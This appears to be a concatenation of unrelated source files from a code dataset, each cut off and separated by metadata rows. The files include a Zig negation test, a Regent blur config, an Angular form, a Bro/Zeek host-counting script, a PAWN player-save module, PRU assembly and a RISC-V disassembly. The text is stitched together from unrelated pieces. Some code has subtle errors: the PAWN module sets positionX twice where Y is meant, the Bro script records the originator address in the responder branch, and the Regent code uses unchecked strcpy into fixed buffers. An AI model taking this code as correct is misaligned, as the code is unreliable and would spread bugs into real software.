try test__negti2(8388606, -8388606);
try test__negti2(-8388604, 8388604);
try test__negti2(8388604, -8388604);
try test__negti2(-8388600, 8388600);
try test__negti2(8388600, -8388600);
try test__negti2(-4194303, 4194303);
try test__negti2(4194303, -4194303);
try test__negti2(-4194302, 4194302);
try test__negti2(4194302, -4194302);
try test__negti2(-4194300, 4194300);
try test__negti2(4194300, -4194300);
try test__negti2(-4194296, 4194296);
try test__negti2(4194296, -4194296);
try test__negti2(-2097151, 2097151);
try test__negti2(2097151, -2097151);
try test__negti2(-2097150, 2097150);
try test__negti2(2097150, -2097150);
try test__negti2(-2097148, 2097148);
try test__negti2(2097148, -2097148);
try test__negti2(-2097144, 2097144);
try test__negti2(2097144, -2097144);
try test__negti2(-1048575, 1048575);
try test__negti2(1048575, -1048575);
try test__negti2(-1048574, 1048574);
try test__negti2(1048574, -1048574);
try test__negti2(-1048572, 1048572);
try test__negti2(1048572, -1048572);
try test__negti2(-1048568, 1048568);
try test__negti2(1048568, -1048568);
try test__negti2(-524287, 524287);
try test__negti2(524287, -524287);
try test__negti2(-524286, 524286);
try test__negti2(524286, -524286);
try test__negti2(-524284, 524284);
try test__negti2(524284, -524284);
try test__negti2(-524280, 524280);
try test__negti2(524280, -524280);
try test__negti2(-262143, 262143);
try test__negti2(262143, -262143);
try test__negti2(-262142, 262142);
try test__negti2(262142, -262142);
try test__negti2(-262140, 262140);
try test__negti2(262140, -262140);
try test__negti2(-262136, 262136);
try test__negti2(262136, -262136);
try test__negti2(-131071, 131071);
try test__negti2(131071, -131071);
try test__negti2(-131070, 131070);
try test__negti2(131070, -131070);
try test__negti2(-131068, 131068);
try test__negti2(131068, -131068);
try test__negti2(-131064, 131064);
try test__negti2(131064, -131064);
try test__negti2(-65535, 65535);
try test__negti2(65535, -65535);
try test__negti2(-65534, 65534);
try test__negti2(65534, -65534);
try test__negti2(-65532, 65532);
try test__negti2(65532, -65532);
try test__negti2(-65528, 65528);
try test__negti2(65528, -65528);
try test__negti2(-32767, 32767);
try test__negti2(32767, -32767);
try test__negti2(-32766, 32766);
try test__negti2(32766, -32766);
try test__negti2(-32764, 32764);
try test__negti2(32764, -32764);
try test__negti2(-32760, 32760);
try test__negti2(32760, -32760);
try test__negti2(-16383, 16383);
try test__negti2(16383, -16383);
try test__negti2(-16382, 16382);
try test__negti2(16382, -16382);
try test__negti2(-16380, 16380);
try test__negti2(16380, -16380);
try test__negti2(-16376, 16376);
try test__negti2(16376, -16376);
try test__negti2(-8191, 8191);
try test__negti2(8191, -8191);
try test__negti2(-8190, 8190);
try test__negti2(8190, -8190);
try test__negti2(-8188, 8188);
try test__negti2(8188, -8188);
try test__negti2(-8184, 8184);
try test__negti2(8184, -8184);
try test__negti2(-4095, 4095);
try test__negti2(4095, -4095);
try test__negti2(-4094, 4094);
try test__negti2(4094, -4094);
try test__negti2(-4092, 4092);
try test__negti2(4092, -4092);
try test__negti2(-4088, 4088);
try test__negti2(4088, -4088);
try test__negti2(-2047, 2047);
try test__negti2(2047, -2047);
try test__negti2(-2046, 2046);
try test__negti2(2046, -2046);
try test__negti2(-2044, 2044);
try test__negti2(2044, -2044);
try test__negti2(-2040, 2040);
try test__negti2(2040, -2040);
try test__negti2(-1023, 1023);
try test__negti2(1023, -1023);
try test__negti2(-1022, 1022);
try test__negti2(1022, -1022);
try test__negti2(-1020, 1020);
try test__negti2(1020, -1020);
try test__negti2(-1016, 1016);
try test__negti2(1016, -1016);
try test__negti2(-511, 511);
try test__negti2(511, -511);
try test__negti2(-510, 510);
try test__negti2(510, -510);
try test__negti2(-508, 508);
try test__negti2(508, -508);
try test__negti2(-504, 504);
try test__negti2(504, -504);
try test__negti2(-255, 255);
try test__negti2(255, -255);
try test__negti2(-254, 254);
try test__negti2(254, -254);
try test__negti2(-252, 252);
try test__negti2(252, -252);
try test__negti2(-248, 248);
try test__negti2(248, -248);
try test__negti2(-127, 127);
try test__negti2(127, -127);
try test__negti2(-126, 126);
try test__negti2(126, -126);
try test__negti2(-124, 124);
try test__negti2(124, -124);
try test__negti2(-120, 120);
try test__negti2(120, -120);
try test__negti2(-63, 63);
try test__negti2(63, -63);
try test__negti2(-62, 62);
try test__negti2(62, -62);
try test__negti2(-60, 60);
try test__negti2(60, -60);
try test__negti2(-56, 56);
try test__negti2(56, -56);
try test__negti2(-31, 31);
try test__negti2(31, -31);
try test__negti2(-30, 30);
try test__negti2(30, -30);
try test__negti2(-28, 28);
try test__negti2(28, -28);
try test__negti2(-24, 24);
try test__negti2(24, -24);
try test__negti2(-15, 15);
try test__negti2(15, -15);
try test__negti2(-14, 14);
try test__negti2(14, -14);
try test__negti2(-12, 12);
try test__negti2(12, -12);
try test__negti2(-8, 8);
try test__negti2(8, -8);
}
| Zig | 4 | lukekras/zig | lib/std/special/compiler_rt/negti2_test.zig | [
"MIT"
] |
import "regent"
local c = regentlib.c
struct BlurConfig
{
filename_image : int8[256],
filename_blur : int8[256],
parallelism : int,
}
local cstring = terralib.includec("string.h")
terra print_usage_and_abort()
c.printf("Usage: regent.py blur.rg [OPTIONS]\n")
c.printf("OPTIONS\n")
c.printf(" -h : Print the usage and exit.\n")
c.printf(" -i {file} : Use {file} as input.\n")
c.printf(" -o {file} : Save the blurred edge to {file}. Will use 'blur.png' by default.\n")
c.printf(" -p {value} : Set the number of parallel tasks to {value}. Will use 1 by default.\n")
c.abort()
end
terra file_exists(filename : rawstring)
var file = c.fopen(filename, "rb")
if file == nil then return false end
c.fclose(file)
return true
end
terra BlurConfig:initialize_from_command()
var filename_given = false
cstring.strcpy(self.filename_blur, "blur.png")
self.parallelism = 1
var args = c.legion_runtime_get_input_args()
var i = 1
while i < args.argc do
if cstring.strcmp(args.argv[i], "-h") == 0 then
print_usage_and_abort()
elseif cstring.strcmp(args.argv[i], "-i") == 0 then
i = i + 1
if not file_exists(args.argv[i]) then
c.printf("File '%s' doesn't exist!\n", args.argv[i])
c.abort()
end
cstring.strcpy(self.filename_image, args.argv[i])
filename_given = true
elseif cstring.strcmp(args.argv[i], "-o") == 0 then
i = i + 1
cstring.strcpy(self.filename_blur, args.argv[i])
elseif cstring.strcmp(args.argv[i], "-p") == 0 then
i = i + 1
self.parallelism = c.atoi(args.argv[i])
end
i = i + 1
end
if not filename_given then
c.printf("Input image file must be given!\n\n")
print_usage_and_abort()
end
end
return BlurConfig
| Rouge | 3 | StanfordLegion/bootcamp2017 | Blur/blur_config.rg | [
"Apache-2.0"
] |
<form>
Email: <input type="text" [(ngModel)]="user.email" name="email"/><br />
Name: <input type="text" [(ngModel)]="user.name" name="name"/><br />
<input type="submit" (click)="addUser()" value="Add User"/>
</form>
<br />
<table>
<tr *ngFor="let user of res" >
<td>{{user.email}}
</td>
<td>{{user.name}}</td>
</tr>
</table>
| HTML | 3 | zeesh49/tutorials | guest/webservices/rest-client/rest-client/src/app/users.component.html | [
"MIT"
] |
# Written by Bob Rotsted
# Copyright Reservoir Labs, 2014.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
module UniqueHosts;
export {
global watched_nets: set[subnet] = [ 10.0.0.0/8, 192.168.0.0/16 ] &redef;
global epoch: interval = 1hr &redef;
# Logging info
redef enum Log::ID += { LOG };
type Info: record {
start_time: string &log;
epoch: interval &log;
net: string &log;
ip_cnt: count &log;
};
global log_conn_count: event(rec: Info);
}
event bro_init()
{
local rec: UniqueHosts::Info;
Log::create_stream(UniqueHosts::LOG, [$columns=Info, $ev=log_conn_count]);
local r1 = SumStats::Reducer($stream="unique.hosts", $apply=set(SumStats::UNIQUE));
SumStats::create([$name="unique.hosts",
$epoch=epoch,
$reducers=set(r1),
$epoch_result(ts: time, key: SumStats::Key, result: SumStats::Result) =
{
local r = result["unique.hosts"];
rec = [$start_time= strftime("%c", r$begin), $epoch=epoch, $net=key$str, $ip_cnt=r$unique];
Log::write(UniqueHosts::LOG, rec);
}
]);
}
event connection_established(c: connection)
{
if ( c$id$orig_h in watched_nets || c$id$resp_h in watched_nets ) {
local net: subnet;
for ( net in watched_nets ) {
if ( c$id$orig_h in net ) {
SumStats::observe("unique.hosts", [$str=fmt("%s",net)], [$str=fmt("%s",c$id$orig_h)]);
}
if ( c$id$resp_h in net ) {
SumStats::observe("unique.hosts", [$str=fmt("%s",net)], [$str=fmt("%s",c$id$orig_h)]);
}
}
}
}
| Bro | 5 | reservoirlabs/bro-scripts | sumstats/unique-hosts.bro | [
"Apache-2.0"
] |
#
# Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Skip installation when xnnpack is used since it also has fp16 headers.
if(TARGET fp16_headers OR fp16_headers_POPULATED OR TFLITE_ENABLE_XNNPACK)
return()
endif()
include(FetchContent)
OverridableFetchContent_Declare(
fp16_headers
GIT_REPOSITORY https://github.com/Maratyszcza/FP16
# Sync with https://github.com/google/XNNPACK/blob/master/cmake/DownloadFP16.cmake
GIT_TAG 0a92994d729ff76a58f692d3028ca1b64b145d91
GIT_PROGRESS TRUE
PREFIX "${CMAKE_BINARY_DIR}"
SOURCE_DIR "${CMAKE_BINARY_DIR}/fp16_headers"
)
OverridableFetchContent_GetProperties(fp16_headers)
if(NOT fp16_headers)
OverridableFetchContent_Populate(fp16_headers)
endif()
include_directories(
AFTER
"${fp16_headers_SOURCE_DIR}/include"
)
| CMake | 4 | EricRemmerswaal/tensorflow | tensorflow/lite/tools/cmake/modules/fp16_headers.cmake | [
"Apache-2.0"
] |
require "spec"
require "yaml"
private def it_parses(string, expected, file = __FILE__, line = __LINE__)
it "parses #{string.inspect}", file, line do
YAML::Schema::FailSafe.parse(string).should eq(expected)
end
end
private def it_raises_on_parse(string, message, file = __FILE__, line = __LINE__)
it "raises on parse #{string.inspect}", file, line do
expect_raises(YAML::ParseException, message) do
YAML::Schema::FailSafe.parse(string)
end
end
end
private def it_parses_all(string, expected, file = __FILE__, line = __LINE__)
it "parses all #{string.inspect}", file, line do
YAML::Schema::FailSafe.parse_all(string).should eq(expected)
end
end
private def it_raises_on_parse_all(string, message, file = __FILE__, line = __LINE__)
it "raises on parse all #{string.inspect}", file, line do
expect_raises(YAML::ParseException, message) do
YAML::Schema::FailSafe.parse_all(string)
end
end
end
describe YAML::Schema::FailSafe do
# parse
it_parses "123", "123"
it_parses %(
context:
replace_me: "Yes please!"
), {"context" => {"replace_me" => "Yes please!"}}
it_parses %(
first:
document:
second:
document:
), {"first" => {"document" => ""}, "second" => {"document" => ""}}
it_raises_on_parse %(
this: "gives"
an: "error"
), "did not find expected key at line 3, column 7, while parsing a block mapping at line 2, column 5"
it_raises_on_parse ":", "did not find expected key at line 1, column 1, while parsing a block mapping at line 1, column 1"
# parse_all
it_parses "321", "321"
it_parses_all %(
context:
replace_me: "Yes please!"
), [{"context" => {"replace_me" => "Yes please!"}}]
it_parses_all %(
foo:
bar: 123
bar:
foo: 321
), [{"foo" => {"bar" => "123"}, "bar" => {"foo" => "321"}}]
it_raises_on_parse_all %(
this: "raises"
an: "yaml"
parse: "exception"
), "did not find expected key at line 3, column 7, while parsing a block mapping at line 2, column 5"
it_raises_on_parse_all ":", "did not find expected key at line 1, column 1, while parsing a block mapping at line 1, column 1"
end
| Crystal | 4 | mgomes/crystal | spec/std/yaml/schema/fail_safe_spec.cr | [
"Apache-2.0"
] |
(defvar *paip-pdf-uri* "https://github.com/norvig/paip-lisp/raw/master/")
(defun open-pdf (&optional (part 1))
(let* ((name (format nil "PAIP-part~A.pdf" part))
(path (namestring
(merge-pathnames
name
(asdf:system-source-directory (asdf:find-system :paip))))))
(when (<= 1 part 2)
(unless (probe-file path)
#+quicklisp(ql:quickload :dexador)
(uiop:symbol-call :dex :fetch (format nil "~A~A" *paip-pdf-uri* name) path))
#+quicklisp(ql:quickload :trivial-open-browser)
(uiop:symbol-call :trivial-open-browser :open-browser path)
path)))
| Common Lisp | 3 | sethaldini/paip-lisp | lisp/open-pdf.lisp | [
"MIT"
] |
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="?attr/colorControlNormal">
<path
android:fillColor="@android:color/white"
android:pathData="M16,7l3,0l-4,-4l-4,4l3,0l0,4.17l2,2z"/>
<path
android:fillColor="@android:color/white"
android:pathData="M2.81,2.81l-1.42,1.41l6.61,6.61l0,6.18l-3,0.01l4,3.98l4,-4l-3,0.01l0,-4.18l9.78,9.78l1.41,-1.42z"/>
</vector>
| XML | 2 | bubenheimer/androidx | compose/material/material/icons/generator/raw-icons/twotone/mobiledata_off.xml | [
"Apache-2.0"
] |
<h3><code>native input</code></h3>
Selected: {{selected1}}
<ul matSelection [dataSource]="data" [matSelectionMultiple]="true" (matSelectionChange)="selected1 = getCurrentSelected($event)">
<input type="checkbox" matSelectAll #allToggler="matSelectAll"
[checked]="allToggler.checked | async"
[indeterminate]="allToggler.indeterminate | async"
(click)="allToggler.toggle($event)">
<li *ngFor="let item of data">
<input type="checkbox" matSelectionToggle #toggler="matSelectionToggle" [matSelectionToggleValue]="item"
[checked]="toggler.checked | async" (click)="toggler.toggle()">
{{item}}
</li>
</ul>
<h3><code>mat-checkbox</code></h3>
Selected: {{selected2}}
<ul matSelection [dataSource]="data" [matSelectionMultiple]="true" (matSelectionChange)="selected2 = getCurrentSelected($event)">
<mat-checkbox matSelectAll #toggle1="matSelectAll" [indeterminate]="toggle1.indeterminate | async"></mat-checkbox>
<li *ngFor="let item of data">
<mat-checkbox matSelectionToggle [matSelectionToggleValue]="item"></mat-checkbox>
{{item}}
</li>
</ul>
<h3><code>Single select with mat-checkbox</code></h3>
Selected: {{selected3}}
<ul matSelection [dataSource]="data" [matSelectionMultiple]="false" (matSelectionChange)="selected3 = getCurrentSelected($event)">
<li *ngFor="let item of data">
<mat-checkbox matSelectionToggle [matSelectionToggleValue]="item"></mat-checkbox>
{{item}}
</li>
</ul>
<h3><code>with trackBy</code></h3>
Selected: {{selected4}}
<ul matSelection [dataSource]="data" [matSelectionMultiple]="true" [trackBy]="trackByFn" (matSelectionChange)="selected4 = getCurrentSelected($event)">
<mat-checkbox matSelectAll #toggle2="matSelectAll" [indeterminate]="toggle2.indeterminate | async"></mat-checkbox>
<li *ngFor="let item of data; index as i; trackBy: trackByFn">
<mat-checkbox matSelectionToggle [matSelectionToggleValue]="item" [matSelectionToggleIndex]="i"></mat-checkbox>
{{item}}
</li>
</ul>
<button (click)="changeElementName()">Change element names and the already selected stays</button>
<button (click)="reset()">reset</button>
| HTML | 3 | tungyingwaltz/components | src/components-examples/material-experimental/selection/mat-selection-list/mat-selection-list-example.html | [
"MIT"
] |
h2. Abbr Plugin
The Abbr Plugin will wrap selected contents within an +<abbr>+ tag. You can then specify a title text to describe the abbreviation.
endprologue.
h3. Functional Description
To create an abbreviation highlight some text and click the abbreviation icon from the format tab. Now you can enter the description of the abbreviation which will be shown when hovering over the annotated word. For editing an abbreviation just click on the entered abbreviation and edit the text in the FloatingMenu.
To delete an abbreviation just move the cursor to the abbreviation and click on the abbreviation button at the Aloha Editor again.
h3. Configuration settings
To enable or disable the abbr plugin for single editables refere the following example.
All editables have the abbr plugin activated. The abbr plugin is deactivated for the editable with the ID 'two'.
Use a single array with the value +[ 'abbr' ]+ to activate or an empty array +[ ]+ to deactivate the plugin.
<javascript>
Aloha.settings.plugins = {
abbr: {
config: [ 'abbr' ],
editables: {
'#one': [ 'abbr' ],
'#two': [ ]
}
}
};
</javascript>
h3. Components
* formatAbbr - format selection as an abbreviation
* createAbbr - insert new abbreviation
* editAbbr - edit existing abbreviation
* abbrText - UIAttributeField for text input
* removeAbbr - remove abbreviation from selection
| Textile | 4 | luciany/Aloha-Editor | doc/guides/source/plugin_abbr.textile | [
"CC-BY-3.0"
] |
// Copyright 2006-2015 Las Venturas Playground. All rights reserved.
// Use of this source code is governed by the GPLv2 license, a copy of which can
// be found in the LICENSE file.
#define MAX_SAVE_SLOTS 200
#define MINUTES_TO_RECONNECT 10
#define INVALID_SAVE_INFO_SLOT -1
enum saveData {
nameAdler,
savedIpAddress[17],
Float: positionX,
Float: positionY,
Float: positionZ,
Float: angle,
worldId,
interiorId,
Float: savedHealth,
Float: savedArmour,
savedWantedLevel,
savedWeaponId[WeaponSlots],
savedAmmo[WeaponSlots],
bool: spawnWeapon[WeaponSlots],
bool: spawnArmour,
rampingEnabled,
rampId,
bool: respawn,
disconnectionTime
};
new m_playerSaveInfo[MAX_SAVE_SLOTS][saveData];
new bool: m_loadPlayerData[MAX_PLAYERS];
new m_loadBeginTime[MAX_PLAYERS];
CSave__FindSlot(playerId = Player::InvalidId) {
// Find an empty slot.
if (playerId == Player::InvalidId) {
for (new slotId = 0; slotId < MAX_SAVE_SLOTS; slotId++) {
new savedTime = CSave__GetSavedTime(slotId);
if (Time->currentTime() - savedTime > MINUTES_TO_RECONNECT * 60 || savedTime == 0)
return slotId;
}
return INVALID_SAVE_INFO_SLOT;
}
if (Player(playerId)->isConnected() == false)
return INVALID_SAVE_INFO_SLOT;
// Search for the player's corresponding slot if they had any.
new slotIdFound = -1, slotCount = 0;
for (new slotId = 0; slotId < MAX_SAVE_SLOTS; slotId++) {
new savedTime = CSave__GetSavedTime(slotId);
if (Time->currentTime() - savedTime > MINUTES_TO_RECONNECT * 60 || savedTime == 0)
continue;
if (adler32(PlayerName(playerId)) != CSave__GetAdler32(slotId))
continue;
slotCount++;
// Multiple slots detected for a player?
if (slotCount > 1) {
CSave__ClearSlot(slotId);
continue;
}
// If the IPs match, save the slotId.
if (strcmp(m_playerSaveInfo[slotId][savedIpAddress], Player(playerId)->ipAddressString()) != 0) {
CSave__ClearSlot(slotId);
continue;
} else {
slotIdFound = slotId;
continue;
}
}
// SlotId found? Return it.
if (slotIdFound != -1) {
m_loadPlayerData[playerId] = true;
return slotIdFound;
}
return INVALID_SAVE_INFO_SLOT;
}
CSave__ClearSlot(slotId) {
m_playerSaveInfo[slotId][nameAdler] = 0;
format(m_playerSaveInfo[slotId][savedIpAddress], 16, "");
m_playerSaveInfo[slotId][positionX] = 0.0;
m_playerSaveInfo[slotId][positionY] = 0.0;
m_playerSaveInfo[slotId][positionZ] = 0.0;
m_playerSaveInfo[slotId][angle] = 0.0;
m_playerSaveInfo[slotId][worldId] = 0;
m_playerSaveInfo[slotId][interiorId] = 0;
m_playerSaveInfo[slotId][savedHealth] = 0.0;
m_playerSaveInfo[slotId][savedArmour] = 0.0;
m_playerSaveInfo[slotId][savedWantedLevel] = 0;
for (new weaponSlot = 0; weaponSlot < WeaponSlots; weaponSlot++) {
m_playerSaveInfo[slotId][savedWeaponId][weaponSlot] = 0;
m_playerSaveInfo[slotId][savedAmmo][weaponSlot] = 0;
m_playerSaveInfo[slotId][spawnWeapon][weaponSlot] = false;
}
m_playerSaveInfo[slotId][spawnArmour] = false;
m_playerSaveInfo[slotId][rampingEnabled] = 0;
m_playerSaveInfo[slotId][rampId] = 0;
m_playerSaveInfo[slotId][respawn] = false;
m_playerSaveInfo[slotId][disconnectionTime] = 0;
}
CSave__SaveInfo(playerId) {
if (Player(playerId)->isNonPlayerCharacter() == true)
return 0;
new slotId = CSave__FindSlot(Player::InvalidId);
if (slotId == INVALID_SAVE_INFO_SLOT)
return 0;
format(m_playerSaveInfo[slotId][savedIpAddress], 16, "%s", Player(playerId)->ipAddressString());
m_playerSaveInfo[slotId][nameAdler] = adler32(PlayerName(playerId));
m_playerSaveInfo[slotId][disconnectionTime] = Time->currentTime();
new Float: x, Float: y, Float: z, Float: playerAngle, Float: pHealth, Float: pArmour;
GetPlayerPos(playerId, x, y, z);
GetPlayerFacingAngle(playerId, playerAngle);
GetPlayerHealth(playerId, pHealth);
GetPlayerArmour(playerId, pArmour);
if (SpawnWeaponManager(playerId)->spawnArmour() == true)
m_playerSaveInfo[slotId][spawnArmour] = true;
// Our priorities: save spawnweapons and spawnarmour, or anything else being holded by the player
// at the moment of disconnecting.
new weaponId, ammo;
for (new weaponSlot = 0; weaponSlot < WeaponSlots; weaponSlot++) {
if (weaponSlot == 7)
continue;
if (SpawnWeaponManager(playerId)->spawnWeaponId(weaponSlot) != 0) {
m_playerSaveInfo[slotId][spawnWeapon][weaponSlot] = true;
m_playerSaveInfo[slotId][savedWeaponId][weaponSlot] = SpawnWeaponManager(playerId)->spawnWeaponId(weaponSlot);
m_playerSaveInfo[slotId][savedAmmo][weaponSlot] = SpawnWeaponManager(playerId)->spawnWeaponAmmo(weaponSlot);
continue;
}
GetPlayerWeaponData(playerId, weaponSlot, weaponId, ammo);
if (weaponId == 0 || ammo == 0)
continue;
m_playerSaveInfo[slotId][spawnWeapon][weaponSlot] = false;
m_playerSaveInfo[slotId][savedWeaponId][weaponSlot] = weaponId;
m_playerSaveInfo[slotId][savedAmmo][weaponSlot] = ammo;
}
if (IsPlayerInMapZone(playerId)) {
m_playerSaveInfo[slotId][positionX] = g_PlayerPos[playerId][0];
m_playerSaveInfo[slotId][positionY] = g_PlayerPos[playerId][1];
m_playerSaveInfo[slotId][positionZ] = g_PlayerPos[playerId][2];
m_playerSaveInfo[slotId][angle] = playerAngle;
}
#if Feature::DisableFights == 0
else if(IsPlayerStatusMinigame(playerId)) {
if (WWTW_PlayerData[playerId][iStatus] == WWTW_STATE_PLAYING || CRobbery__GetPlayerStatus(playerId) > ROBSTATUS_NONE) {
m_playerSaveInfo[slotId][positionX] = g_aSavedPlayerPosition[playerId][fSavedPosX];
m_playerSaveInfo[slotId][positionY] = g_aSavedPlayerPosition[playerId][fSavedPosY];
m_playerSaveInfo[slotId][positionZ] = g_aSavedPlayerPosition[playerId][fSavedPosZ];
m_playerSaveInfo[slotId][angle] = g_aSavedPlayerPosition[playerId][fSavedAngle];
} else {
m_playerSaveInfo[slotId][positionX] = PlayerInfo[playerId][BackPos][0];
m_playerSaveInfo[slotId][positionX] = PlayerInfo[playerId][BackPos][1];
m_playerSaveInfo[slotId][positionZ] = PlayerInfo[playerId][BackPos][2];
m_playerSaveInfo[slotId][angle] = playerAngle;
}
} else if (IsPlayerInMinigame(playerId) && !IsPlayerStatusMinigame(playerId))
m_playerSaveInfo[slotId][respawn] = true;
#endif
else {
m_playerSaveInfo[slotId][positionX] = x;
m_playerSaveInfo[slotId][positionY] = y;
m_playerSaveInfo[slotId][positionZ] = z;
m_playerSaveInfo[slotId][angle] = playerAngle;
}
new virtualWorld = g_VirtualWorld[playerId];
if (IsPlayerInMainWorld(playerId))
virtualWorld = GetPlayerVirtualWorld(playerId);
m_playerSaveInfo[slotId][interiorId] = GetPlayerInterior(playerId);
m_playerSaveInfo[slotId][worldId] = virtualWorld;
m_playerSaveInfo[slotId][rampingEnabled] = ramping[playerId];
m_playerSaveInfo[slotId][savedWantedLevel] = WantedLevel[playerId];
m_playerSaveInfo[slotId][savedHealth] = pHealth;
m_playerSaveInfo[slotId][savedArmour] = pArmour;
if (ramping[playerId])
m_playerSaveInfo[slotId][rampId] = playerramptypes[playerId];
return 1;
}
// Retrieve time of slot creation.
CSave__GetSavedTime(slotId) {
return m_playerSaveInfo[slotId][disconnectionTime];
}
// Retrieve adler32 of player name corresponding to a certain slot.
CSave__GetAdler32(slotId) {
return m_playerSaveInfo[slotId][nameAdler];
}
// Show the 'loading data' textdraw and freeze the player.
CSave__BeginLoad(playerId) {
if (Player(playerId)->isNonPlayerCharacter() == true)
return 0;
if (CSave__FindSlot(playerId) == INVALID_SAVE_INFO_SLOT)
return 0;
if (m_loadPlayerData[playerId] == false)
return 0;
m_loadBeginTime[playerId] = Time->currentTime();
GameTextForPlayer(playerId, "~r~Please wait...~n~~n~~n~~w~Loading Data :)", 4000, 3);
return 1;
}
// Timer check to see if the player's data should be loaded yet.
CSave__Process(playerId) {
if (m_loadBeginTime[playerId] == 0)
return 0;
if (Time->currentTime() - m_loadBeginTime[playerId] > 3) {
PlayerState(playerId)->updateState(SaveLoadingPlayerState);
CSave__LoadInfo(playerId);
m_loadBeginTime[playerId] = 0;
}
return 1;
}
// Load the player's data.
CSave__LoadInfo(playerId) {
ResetPlayerWeapons(playerId);
SetCameraBehindPlayer(playerId);
g_PlayerMenu[playerId] = 0;
// Find the slot and restore the player's data.
new slotId = CSave__FindSlot(playerId);
if (slotId == INVALID_SAVE_INFO_SLOT)
return 0;
if (m_playerSaveInfo[slotId][respawn] == false) {
SetPlayerPos(playerId, m_playerSaveInfo[slotId][positionX], m_playerSaveInfo[slotId][positionY],
m_playerSaveInfo[slotId][positionZ]);
SetPlayerFacingAngle(playerId, m_playerSaveInfo[slotId][angle]);
}
SetPlayerInterior(playerId, m_playerSaveInfo[slotId][interiorId]);
g_VirtualWorld[playerId] = m_playerSaveInfo[slotId][worldId];
SetPlayerVirtualWorld(playerId, g_VirtualWorld[playerId]);
ramping[playerId] = m_playerSaveInfo[slotId][rampingEnabled];
playerramptypes[playerId] = m_playerSaveInfo[slotId][rampId];
WantedLevel[playerId] = m_playerSaveInfo[slotId][savedWantedLevel];
SetPlayerWantedLevel(playerId, GetWantedLevel(playerId, WantedLevel[playerId]));
SetPlayerHealth(playerId, m_playerSaveInfo[slotId][savedHealth]);
SetPlayerArmour(playerId, m_playerSaveInfo[slotId][savedArmour]);
// Give out the standard weapons to make sure a player doesn't join the game unarmed. If any
// (spawn)weapon was set, the weapon will be overridden.
SpawnWeaponManager(playerId)->onPlayerSpawn();
for (new weaponSlot = 0; weaponSlot < WeaponSlots; weaponSlot++) {
if (m_playerSaveInfo[slotId][savedWeaponId][weaponSlot] == 0)
continue;
if (m_playerSaveInfo[slotId][spawnWeapon][weaponSlot] == true) {
SpawnWeaponManager(playerId)->giveSpawnWeapon(
m_playerSaveInfo[slotId][savedWeaponId][weaponSlot],
m_playerSaveInfo[slotId][savedAmmo][weaponSlot]);
} else {
GiveWeapon(playerId, m_playerSaveInfo[slotId][savedWeaponId][weaponSlot],
m_playerSaveInfo[slotId][savedAmmo][weaponSlot]);
}
}
m_playerSaveInfo[slotId][nameAdler] = 0;
format(m_playerSaveInfo[slotId][savedIpAddress], 16, "");
m_playerSaveInfo[slotId][disconnectionTime] = 0;
m_loadPlayerData[playerId] = false;
TogglePlayerControllable(playerId, true);
SendClientMessage(playerId, Color::HighlightBlue, "Welcome back! You reconnected within 10 minutes meaning your player data has been restored!");
PlayerState(playerId)->releaseState();
CSave__ClearSlot(slotId);
return 1;
}
// On player disconnection we save their data.
CSave__OnPlayerDisconnect(playerId) {
if (Player(playerId)->isLoggedIn() == true && Player(playerId)->isRegistered() == true)
CSave__SaveInfo(playerId);
return 1;
}
// Check if we need to load the player's data on spawn.
CSave__OnPlayerSpawn(playerId) {
if (m_loadPlayerData[playerId] == false)
return 0;
TogglePlayerControllable(playerId, false);
return 1;
}
| PAWN | 5 | EPIC-striker/playground | pawn/Elements/Player/Connections/SaveInfo.pwn | [
"MIT"
] |
// Flash the BeagleBone USR2 LED 5 times at 3.33Hz.
.origin 0
.entrypoint start
// On-board LEDs
#define GPIO1 0x4804C000
#define CLEARDATAOUT_OFFSET 0x190
#define SETDATAOUT_OFFSET 0x194
#define USR0_GPIO1_21 1 << 21
#define USR1_GPIO1_22 1 << 22
#define USR2_GPIO1_23 1 << 23
#define USR3_GPIO1_24 1 << 24
// Settings for a 300ms period and 50% duty cycle.
#define INS_PER_MS 200 * 1000
#define ON_DURATION 150 * INS_PER_MS
#define OFF_DURATION 150 * INS_PER_MS
#define NB_BLINKS 5
// Assume that SYSEVT20 is mapped to EVTOUT1.
#define PRU1_ARM_SYSEVT 20
// Constant registers
#define CPRUCFG c4
#define CPRUDRAM c24
start:
lbco r0, CPRUCFG, 4, 4 // read SYSCFG
clr r0.t4 // clear SYSCFG[STANDBY_INIT]
sbco r0, CPRUCFG, 4, 4 // enable OCP master port
mov r1, NB_BLINKS
mov r2, GPIO1 + SETDATAOUT_OFFSET
mov r3, GPIO1 + CLEARDATAOUT_OFFSET
mov r4, USR2_GPIO1_23
start_loop:
sbbo r4, r2, 0, 4 // turn LED on
mov r31.b0, 32 | (PRU1_ARM_SYSEVT - 16) // notify LED blink to host
mov r0, ON_DURATION
delay_on:
sub r0, r0, 1
qbne delay_on, r0, 0
led_off:
sbbo r4, r3, 0, 4 // turn LED off
mov r0, OFF_DURATION
delay_off:
sub r0, r0, 1
qbne delay_off, r0, 0
sub r1, r1, 1
qbne start_loop, r1, 0
mov r31.b0, 32 | (PRU1_ARM_SYSEVT - 16) // notify completion to host
halt
| Parrot Assembly | 4 | tchamelot/prusst | examples/pasm/barebone_blink_pru1.pasm | [
"Apache-2.0",
"MIT"
] |
D:/gitee/open/tinyriscv/tests/riscv-compliance/build_generated/rv32i/I-MISALIGN_JMP-01.elf: file format elf32-littleriscv
Disassembly of section .text.init:
00000000 <_start>:
0: 04c0006f j 4c <reset_vector>
00000004 <trap_vector>:
4: 34202f73 csrr t5,mcause
8: 00800f93 li t6,8
c: 03ff0a63 beq t5,t6,40 <write_tohost>
10: 00900f93 li t6,9
14: 03ff0663 beq t5,t6,40 <write_tohost>
18: 00b00f93 li t6,11
